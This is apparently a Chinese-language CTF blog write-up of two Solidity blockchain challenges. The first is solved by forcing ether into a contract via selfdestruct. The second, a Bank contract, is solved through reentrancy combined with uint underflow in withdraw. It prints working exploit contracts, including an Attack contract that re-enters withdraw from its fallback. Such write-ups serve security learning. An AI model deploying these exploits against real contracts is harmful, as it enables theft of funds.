NewStarCTF Blockchain Week4 wp

两道关于自毁转账和重入攻击的题目。

Demolition Trucks

题目合约源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pragma solidity ^0.4.23;

contract Trucks {
constructor() public{
}

event isSolved();

function getBalance() public view returns (uint256){
return address(this).balance;
}

function payforflag() public returns (bool){
address _to = 0x498d4BAddD959314591Dc14cb10790e8Df68b1b1;
require(address(this).balance>0);
emit isSolved();
_to.transfer(address(this).balance);

}
}

题目要求合约地址的balance大于0,而我们通过题目系统创建的合约初始ether是为0的。一开始以为直接向合约里转一点ether就好,然而交易总是失败。上网查了会儿才知道合约接收转账需要payable fallback函数。题目合约里没有,这条路也就行不通了。

然后猜想题目名“自爆卡车”会不会是提示,搜了一会儿发现确实有一种自毁转账的方法。通过合约自毁强行给目标合约地址转账。

自毁方法如下:

1
2
3
4
5
6
7
8
pragma solidity ^0.4.23;

contract burn {

function kill() public payable {
selfdestruct(address(0xD2933ff4797D3e97240002F501eC2985047a9930));
}
}

这里address是接收转账的目标合约地址。将以上合约进行部署,并调用kill函数。

可以看到题目合约上确实多了一点ether

然后直接调用题目合约中的payforflag即可。

baby bank

合约源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pragma solidity ^0.4.23;

contract Bank{
mapping (address => uint) public balance;
event Received(address Sender, uint Value);
event isSolved();
uint public chance;

constructor() public {
chance = 1;
}

function() external payable {
emit Received(msg.sender, msg.value);
}

function gift() public {
require(chance==1);
balance[msg.sender] = 2;
chance=0;
}

function withdraw(uint amount) public{
require(amount==2);
require(balance[msg.sender] >= amount);
msg.sender.call.value(amount)();
balance[msg.sender] -= amount;
}

function payforflag() public {
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
chance=1;
emit isSolved();
address _to = 0x498d4BAddD959314591Dc14cb10790e8Df68b1b1;
_to.transfer(address(this).balance);
}

}

withdraw函数存在重入攻击漏洞。函数中先进行转账,后对变量的值进行修改。而如果转账的目标是一个合约地址,则会调用合约中的fallback函数,而攻击者则可以通过自己编写的fallback函数反复调用bank中的withdraw从而取走bank中的所有钱。

然而在本题中,我们的目标是使得调用者在bank中的balance为一个很大的值。这里可以借助withdraw函数中存在的下溢出漏洞完成。balance通过gift初始化为2,每次调用withdraw会减2,第二次调用时由于uint无符号数的特性,0-2会下溢出成一个很大的正数,从而能通过目标函数的检查。

该题操作过程如下。

首先在系统中获取目标合约(也就是被攻击的bank)地址,该合约初始是没有ether的,我们需要借助上一题里自毁的方法(操作过程见上题,不再赘述)向该合约中转一点币以保证后面转账能够顺利进行。

然后编写攻击合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pragma solidity ^0.4.23;

import "./Example.sol";

contract Attack{
Bank b;
bool tag;

constructor() public{
b=Bank(0x81d99556781BAD40ab1A56a9b84d9fE5a3a3f91A);
tag=false;
}

function attack() public{
b.gift();
b.withdraw(2);
}

function getflag() public{
b.payforflag();
}

function() public payable{
require(tag==false);
tag=true;
b.withdraw(2);
}
}

该合约中,攻击通过attack实施。先调用gift初始化bank中的balance为2,然后调用withdraw,在withdraw的转账过程中会默认调用攻击合约的fallback函数(也就是合约中无函数名的函数),从而再次withdraw重入。合约中使用了tag限制重入次数为2,即下溢出后就中止调用。

部署该攻击合约,调用attack,成功后可在bank中查到攻击合约的balance已经下溢出为一个很大的数了(实际上为)。

最后调用攻击合约中的getflag即可。将交易hash提交到系统中获取flag。

Author

zealot

Posted on

2022-10-17

Updated on

2022-10-17

Licensed under

# Related Posts
  1.NewStarCTF Blockchain Week3 wp